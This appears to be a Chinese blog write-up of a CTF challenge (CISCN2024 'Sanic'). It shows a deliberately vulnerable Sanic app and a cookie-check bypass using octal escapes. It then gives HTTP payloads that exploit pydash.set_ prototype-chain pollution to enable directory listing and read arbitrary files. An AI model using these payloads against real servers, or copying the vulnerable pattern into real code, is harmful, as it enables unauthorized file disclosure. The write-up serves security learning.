前言

无。


环境搭建

新建一个Python项目,先添加依赖:

pip install sanic
pip install sanic_session
pip install pydash==5.1.2

限定了pydash版本,估计原型链污染就发生在这个版本的pydash里面了。

然后新建一个static目录,里面随便写个index.html,然后新建一个index.py把主代码贴进去就行:

# -*- coding:utf8 -*-
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin'):
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

登录

原型链污染发生地点为pydash.set_函数调用,前提条件为登录admin用户,admin用户登录条件为登录用户名满足字符串adm;n:

user = request.cookies.get("user")
if user.lower() == 'adm;n':
    request.ctx.session['admin'] = True
    return text("login success")

尝试直接提交字符串,发现分号;会截断cookie,而且sanic貌似不会主动进行URL解码,所以需要寻找另一种编码方式进行绕过。

找到sanic框架下的cookie处理代码,该代码位于request.py文件中,首先根据分号;切割cookie键值对:

for token in raw.split(";"):

接下来做完cookie名合法性验证后,会对双引号”包裹的cookie值有一个特殊处理:

if len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no cov
    value = _unquote(value)

其中存在一个特殊的正则匹配:

o_match = OCTAL_PATTERN.search(str, i)

该正则匹配的是八进制数据:

OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")

后续会对匹配到的字符串进行进制转换:

res.append(str[i:j])
res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203
i = j + 4

因此可以通过双引号”和八进制编码完成登录:

GET /login HTTP/1.0
Host: localhost:8000
Cookie: user="adm\073n"

原型链

观察到Pollute类下存在一个init构造函数,根据参考文章,可以通过访问其属性获得当前的类和方法:

pollute.__init__.__globals__

结果:

观察代码,可以看到app通过static函数设置了静态文件目录,而静态目录下的文件可以被浏览器访问,因此考虑通过污染static配置的方式,将static目录修改为根目录等方式实现任意文件读取。

观察static的可选参数,可以看到存在几个有用的参数:

file_or_directory (Union[PathLike, str]): Path to the static file
    or directory with static files.
directory_view (bool, optional): Whether to fallback to showing
    the directory viewer when exposing a directory. Defaults
    to `False`.

代表了静态文件目录和列目录开关,修改后看起来可以实现列根目录和任意文件读取。

接下来就要尝试对这些参数进行污染,尝试访问static路径如http://localhost:8000/static/,得到报错:

Traceback (most recent call last):
  File "handle_request", line 102, in handle_request
    if TYPE_CHECKING:
  File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\mixins\static.py", line 332, in _static_request_handler
    return await directory_handler.handle(request, request.path)
  File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\handlers\directory.py", line 70, in handle
    raise IsADirectoryError(f"{self.directory.as_posix()} is a directory")
IsADirectoryError: D:/Python2.7/sanic/static is a directory

怀疑关键点可能在static.py中,给主程序中的app.static函数调用下断点,然后找到static.py文件,在StaticHandleMixin类里面找到_register_static注册函数:

_handler = wraps(self._static_request_handler)(
    partial(
        self._static_request_handler,
        file_or_directory=file_or_directory,
        use_modified_since=static.use_modified_since,
        use_content_range=static.use_content_range,
        stream_large_files=static.stream_large_files,
        content_type=static.content_type,
        directory_handler=static.directory_handler,
    )
)

route, _ = self.route(  # type: ignore
    uri=uri,
    methods=["GET", "HEAD"],
    name=name,
    host=static.host,
    strict_slashes=static.strict_slashes,
    static=True,
)(_handler)

该函数会将静态目录和列目录开关等配置整合为一个handler,然后注册到route路由中去,找到route函数,此时用于注册路由的name等标识如下:

用于注册路由的name为main.static,继续往下看route函数,可以看到返回的是一个decorator函数,该嵌套函数通过nonlocal标识访问外层函route数的name等变量,再与handler统合为一个FutureRoute对象:

route = FutureRoute(
    handler,
    uri,
    None if websocket else frozenset([x.upper() for x in methods]),
    host,
    strict_slashes,
    stream,
    version,
    name,
    ignore_body,
    websocket,
    subprotocols,
    unquote,
    static,
    version_prefix,
    error_format,
    route_context,
)
...
if apply:
    self._apply_route(route, overwrite=overwrite)

最后进入到app.py文件的_apply_route函数提交,添加到app下面的router成员中,此时的params即新构造FutureRoute对象里的name和handler等数据的集合:

routes = self.router.add(**params)

再进入到这个add函数,会调用更上一层的add函数:

route = super().add(**params)  # type: 

最后以name作为索引放置到name_index里:

if name:
    self.name_index[name] = route

综上所述,从app出发可以摸索到static相关配置,因此存在通过原型链污染修改static配置的可能性,在编辑器中调试一下试一下就能找到搜索路径:

pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords

结果:

污染路径已经找到了,思路也清晰了,可以开始实操原型链污染然后实现文件读取了。

污染

先尝试修改directory_view实现列目录功能:

POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 32

{"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view", "value": "True"}

访问http://localhost:8000/static/,这次就成功列目录了:

再修改file_or_directory为其他路径即可实现列目录后文件读取,注意一下类型:

POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 166

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["D:/"]}

参考

CISCN2024-WEB-Sanic gxngxngxn

DASCTF 2024暑期挑战赛-WEB-Sanic’s revenge gxngxngxn

Sanic框架下原型链污染(以国赛sanic和dasctf-sanic题复现为例)


原型链污染 Python

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

ejs模板引擎玩法学习